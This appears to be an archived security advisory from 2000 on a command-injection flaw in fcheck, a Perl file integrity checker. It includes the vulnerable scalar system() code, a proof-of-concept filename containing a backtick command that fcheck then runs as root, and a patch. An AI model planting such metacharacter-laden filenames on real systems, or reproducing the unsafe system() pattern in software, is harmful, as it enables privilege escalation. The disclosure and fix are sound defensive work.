what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fcheck.txt

fcheck.txt
Posted Apr 7, 2000
Authored by Matt Carothers

Fcheck, a file integrity checker written in perl, can be subverted by a malicious user to execute arbitrary commands as root by creating files with shell metacharacters in their names. Version v.2.7.45 and below is vulnerable.

tags | exploit, arbitrary, shell, root, perl
SHA-256 | 83567f032de695bd283111b491dcedee8d4e9a0f04b62c7ab4cd89cd545afe9d

fcheck.txt

Change Mirror Download
The short explanation:

fcheck is a file integrity checker written in perl. It can send
warnings to syslog via an external program such as logger(1). Because
it calls system() with a scalar argument, a malicious user can cause it
to execute programs by creating files with shell metacharacters in their
names. Apply the attached patch to fix the problem and don't ever call
system() with a scalar argument.

The long explanation:

fcheck is a file integrity checker written in perl. See
http://securityfocus.com/templates/tools_search.html?query=fcheck&index=tools
for a more detailed description and a download site.

Version v.2.7.45 is vulnerable. Any older version which includes syslog
logging is probably vulnerable as well.

When called with the -l flag, fcheck sends warnings to syslog instead of
stdout by calling a program defined in the fcheck configuration file.
Unfortunately, the perl code looks like this:

$cmd=sprintf("%s -t %s \"WARNING: File addition: [%s] %s [%s %s %s %s %s]\"\n",
$Logger, $Me, $ThisHost, $Name, $Inode, &ShowPerms($Perms),
$Size, &ctime($Time), $Name);
system($cmd);

Calling system() this way with a scalar argument rather than an array
passes the contents of the variable to the system shell (e.g. /bin/sh -c),
which interprets shell metacharacters. This isn't new, and it isn't a
bug in perl. The behavior is well documented in the perlfunc man page.

The impact is that if a malicious user can create files in a directory
monitored by fcheck, and fcheck runs with the -l switch, the user can
execute nearly arbitrary programs by using shell metacharacters in the
filenames.

Example:

[matt@shai-hulud /home/public]$ touch 'blah`touch exploit`'
[matt@shai-hulud /home/public]$ ls -l '/home/public/blah`touch exploit`'
-rw-r--r-- 1 matt wheel 0 Mar 3 21:17 /home/public/blah`touch exploit`

After running ./fcheck -asl as root from /usr/local/fcheck, I see this in
/var/log/messages (note that the end of the filename is missing):

Mar 4 03:24:22 shai-hulud fcheck: WARNING: File addition: [shai-hulud.telepath.com] /home/public/ [464662 -rw-r--r-- 0 Mar 04 03:18 2000 /home/public/blah]

And here's the result of the command execution:

-rw-r--r-- 1 root wheel 0 Mar 3 21:24 /usr/local/fcheck/exploit

To resolve the problem, apply the attached patch, which alters the code
like so:

$warning=sprintf("\"WARNING: File addition: [%s] %s [%s %s %s %s %s]\"",
$ThisHost, $Name, $Inode, &ShowPerms($Perms), $Size,
&ctime($Time), $Name);
system($Logger, "-t", $Me, $warning);

I notified the author of the problem about a month ago, but after first
insisting that double quotes disarm metacharacters and then that it's
impossible to create a file with backticks in its name, he stopped
responding to my emails. Go figure.

OBRant:

Ladies and gentlemen, there's a little lost puppy out there in the cold
rain scratching on your back door, and the tag on its collar says "Security."
Are we going to swat this puppy on the nose with the rolled up newspaper of
bad programming habits? Or are we going to let it in, dry it off, feed it,
and clean up the carpet when it craps all over the place? The decision is
up to you, my friends, but I for one am heading to the store for some puppy
chow and a pooperscooper.

- Matt

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close